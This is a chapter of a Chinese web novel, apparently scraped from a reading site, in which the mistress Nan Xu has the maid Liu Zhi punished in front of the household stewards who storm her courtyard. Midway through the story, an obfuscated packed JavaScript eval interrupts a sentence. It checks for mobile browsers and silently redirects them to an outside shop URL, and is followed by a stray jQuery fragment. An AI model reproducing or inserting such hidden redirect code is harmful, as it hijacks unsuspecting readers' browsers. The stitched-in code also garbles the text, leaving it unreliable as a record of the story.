金球是当初李湛送给她的。
猫市的猫有很多,只有这只最合她的眼缘,不巧的是,当时金球已经被人订了去,她又不能夺人所好,为此伤心了好一阵。
没过几天,李湛抱着金球出现在她面前,逗得她开怀大笑。问他怎么来的,他也不说,只道她高兴就好,从此金球就跟了她了。
金球有灵性,在她身边待久了便不再是那些死物,所以风雨桥那夜,她没有把金球还给李湛。
看着怀里金球恹恹的样子,南絮也有些提不起精神。
派去李府打探李湛伤情如何的人都没带回来什么有用的消息。
让人送去给殷瑞珠的补品虽送到了,下人却连殷瑞珠的面都没见到,也不知她现下到底如何。
她这几日夜间总做梦,时而是李湛倒在血泊中毫无生机的模样时而是殷瑞珠失魂落魄的模样,回回惊醒从床上坐起,看着黑漆漆的四周,冰冷与孤寂便再也挥之不去。
她该有好几日没见到段文裴了吧…
玉祥的动作很快,眨眼的功夫,那套给金球修剪指甲的工具就摆在柳枝面前,她还好心地一一介绍,又上手示范了遍。
柳枝一边鄙夷玉祥刚才拖她时的‘野蛮’行径,一边忍着听玉祥的介绍,时不时悄悄往院门口瞟几眼。
南絮看见只当没看见。
倒是蒋嬷嬷,心里总有些为南絮担心。
”若到时候她们闹起来,夫人可千万别心慈手软。”她倒不是怕那些人闹,是怕南絮心不够硬。
南絮摸着金球的下巴,心不在焉地’嗯‘了声。
自她刚嫁过来立威后,这些人明面上听从她的调遣,暗地里没少使绊子。
上次李奇的事算是敲山震虎,没想到这些管事还是管不住下面人的心思。
她可不会对谁都有那么好的耐心。
*
肖婆子等几个管事正在屋里嗑瓜子唠嗑,突然有人从屋外连哭带泪的闯进来,吓了她们一跳。
芳若肖婆子熟,是女儿柳枝的好姐妹,见她如此,又没看见自家女儿的身影,她心里一突,扔下手里的瓜子壳,抓住芳若的胳膊,怒喝一声,“说,柳枝呢?”
芳若隐去她们说的那些出格的话,只说柳枝被猫抓伤了脸,又被玉祥抓着去给猫剪指甲的事。
肖婆子听地怒火中烧,骂了好几声贱人,说着就要去静园要人。
负责采买的李婆子忙拉住了她,“弟妹,莫急,还是先把事情问明白再说。”说着看向一旁的芳若,让她把事情的起因经过说明白。
芳若眼神躲闪,支支吾吾不肯说,被肖婆子拧了几下,痛地一股脑全说了出来。
肖婆子听完,面皮涨红,刚才气冲冲要人的劲瞬间泄了大半。
李婆子看了她一眼,让丫鬟们先出去,告诉肖婆子这个事得从长计议。
负责器具的王婆子也附和,“毕竟是柳枝丫头说错话在先,你这么冲过去,岂不是送上门的买卖,那位正愁没机会拿咱们开刀呢。”
负责浆洗的元婆子不这么认为,“屁,不是都说什么法…法不责什么来着,咱们这么多人,怕她?要是在这商量来商量去,屁都不放一个,才是遂了她的愿。肖雄,你说我这话对不对?”
坐在靠近门口的中年人看了元婆子一眼,袖着手没说话。
肖婆子气地捶了他两拳,“你也是个没种的,自己外甥落了难,一句话都没有。”
肖雄躲开她的手,咧嘴冷笑,“我早就说了,柳枝那样的相貌,早就该打算起来,若是你听我的,咱家柳枝早就成了姨娘了,咱们哪会受这种气!都是你胆子小,你还说我?”
这话一出,屋里瞬间安静。
其余几个管事面面相觑,各有心思。
谁家没有漂亮丫头,说起来,那柳枝可谈不上多漂亮,当真论起来也轮不到柳枝呀。
可再如何肖想,大家都默认在心里,可不会像柳枝那样青天白日的到处宣扬。
这不是硬生生地把把柄递到别人手中吗?
如今南絮有了提防,以后谁家想把女儿往前院送,可就不是容易的事情了!
肖婆子又涨红了脸,这次是羞红的。
肖雄自知失言,往兜里揣了把瓜子,推门走了出去。
“你去哪?”肖婆子叫住他。
肖雄:“去静园要人。”
肖婆子一愣,忙跟着去了。
门扉开了又合,秋风带起木门吱呀作响,元婆子先坐不住,夺门而出追着去了。
王婆子看李婆子,李婆子用袖子擦了擦嘴,长叹一声,“走吧,那也是我侄女。”
*
段文裴好不容易回趟伯府,一进院子就看刘回神秘兮兮地跑过来冲他挤眼,他有些头疼地扶额,刘回每次这样,准没好事。
果然,听刘回绘声绘色地说一通,段文裴抬脚就要往静园去。
走到中途脚下一顿,段文裴不让刘回跟着,自己从静园侧门翻墙进去,猫在上回的窗下听里面动静。
刘回遥遥望了一眼,差点没咬着自己舌头。
他咋觉得自家爷越来越鬼祟了呢?
几个管事来的时候,静园里传来一声女子的惊呼声,肖婆子一听哪还顾得上什么尊卑礼数,横冲直撞地往静园里去。
下人们提前得了南絮的吩咐,作势拦了几下便放她进去了。
花厅前的廊檐下,肖婆子看到了柳枝,她正尖叫着给金球剪指甲。
南絮慵懒地坐在上首,怀里是有些炸毛的金球。
肖婆子一愣,忽然有些不知道自己刚才在干什么,不止是她,后进来的几个管事也是如此。
就真的是在给猫剪指甲…没…没受什么欺负…
蒋嬷嬷仿佛不知道她们要来,满脸惊诧地皱着眉呵斥道:“放肆!谁准你们这么闯进来的!还有没有规矩!”
站在最后的李婆子忙站出来带着众人向南絮请安,“夫人恕罪,肖婆子听闻柳枝惹夫人不快,心里一时着急,不得已闯了进来,还望夫人看在她为府里操持多年的份上饶她这回。”
肖婆子不满地看了她一眼,这话怎么听着像全都是她的错一样。
这些小心思自然没逃过南絮的眼睛,她安抚着金球,并未说话。
蒋嬷嬷继续冷声道:“为了个小丫鬟,坏了府里的规矩,连主仆尊卑都不管不顾了,诸位办差真是越来越能耐了。”
金球在南絮的安抚下乖乖地卧在膝头,只是依旧冲着柳枝低声吭哧着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628670|141198||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,柳枝本就被它抓了脸,又见肖婆子来了,胆子也大起来,她把手里东西一丢,折身跑到肖婆子面前,狡辩道:“娘,你看女儿的脸,女儿什么都没做,却被夫人的猫抓伤了脸,女儿以后还怎么嫁人呀!呜呜呜…”
李管事心中已有对策,却被柳枝这几句话击得粉碎,她恨铁不成钢地瞪柳枝,却只看见妯娌心疼女儿的眸光。
李婆子无语。
蒋嬷嬷却觉正中下怀,“哼!没做什么?你是如何大言不惭地说要让自家娘想办法把你送到伯爷的榻上,又是如何和你的那些小姐妹编排夫人的,你自己心里没数?还是说这些本来就是你娘教给你的,你如此放肆,金球不过是因为护主抓伤你的脸,你还有脸哭!”
“依着在侯府的规矩,这种不安分的下人就该乱棍打死,哪里留到现在。来人,棍棒伺候!”
话音刚落,便见几个拿着长棍的下人进来,两个满脸横肉的老嬷嬷去肖婆子身后擒住柳枝。
柳枝没想到刚才还只是对她呵斥的蒋嬷嬷说着就要打杀她,她如梦初醒般拉着肖婆子的手不放,嘴里不停地叫着‘娘救我’。
肖婆子也没想到,几位管事都没想到。
那两个老嬷嬷是侯府里专司刑法的,两下掰扯,眼看着柳枝就要被抓了去,肖婆子眼睛圆睁,猛地抱住柳枝,冲着南絮大声道:“夫人,你别忘了,这里是伯府,不是你们永安候府,伯府里有伯府的规矩!”
“哦?”
南絮终于抬头看向她,眼里是没顶的冷意,“你倒是说说,伯府的规矩是什么?”
肖婆子看她终于肯说话了,忙把柳枝往身后扯,想把她从那两个老嬷嬷手里夺回来,“伯府开府不过三载,我们这些人并不是伯府里的家生奴才,当初是刘管事从牙行里签的咱们,夫人来之前,后院一直都相安无事,并未发生过打杀奴才的事,如今夫人以侯府的规矩来管束我们,是不是该问问伯爷。”眼见南絮眼里冷意更甚,肖婆子硬着头皮继续道,“就算不问伯爷,夫人是不是也该问问刘管事。”
她说的太快,李婆子想阻止都来不及,心里暗骂一声蠢物。
果然,南絮嗤笑一声,仿佛听到了什么笑话一样,轻飘飘地说道:“打。”
老嬷嬷们得令,再不迟疑,夺过柳枝压在长凳上,下人执着长棍施刑,不过片刻的功夫,已经打了三四棍。
痛的柳枝倒吸凉气。
肖婆子和肖雄赶紧来护。
肖雄到底是个中年男子,真就夺了其中一个下人手里的长棍,怒从心头起恶从胆边生,竟然举着棍子冲着南絮而去。
南絮冷冷看着,连脸色都未变。
李管事瞧着,心里暗道不好,忙上前拦住肖雄。
肖雄是个莽夫,哪里是李婆子能拦住的,李婆子忙示意一旁的王婆子帮忙,死死抱住肖雄。
“肖管事,别忘了自己的身份!”
南絮听见了,漠然地看着这场闹剧。
不管这些人什么身份,在伯府里,在这静园中都只能尊她的规矩。
窗下,段文裴静静地看着这一切,他沉寂的眸光因为南絮片刻的狠决荡起层层幽芒。
南絮似有所感般回头望去,只看见半开的窗扉外随风摇晃的花枝。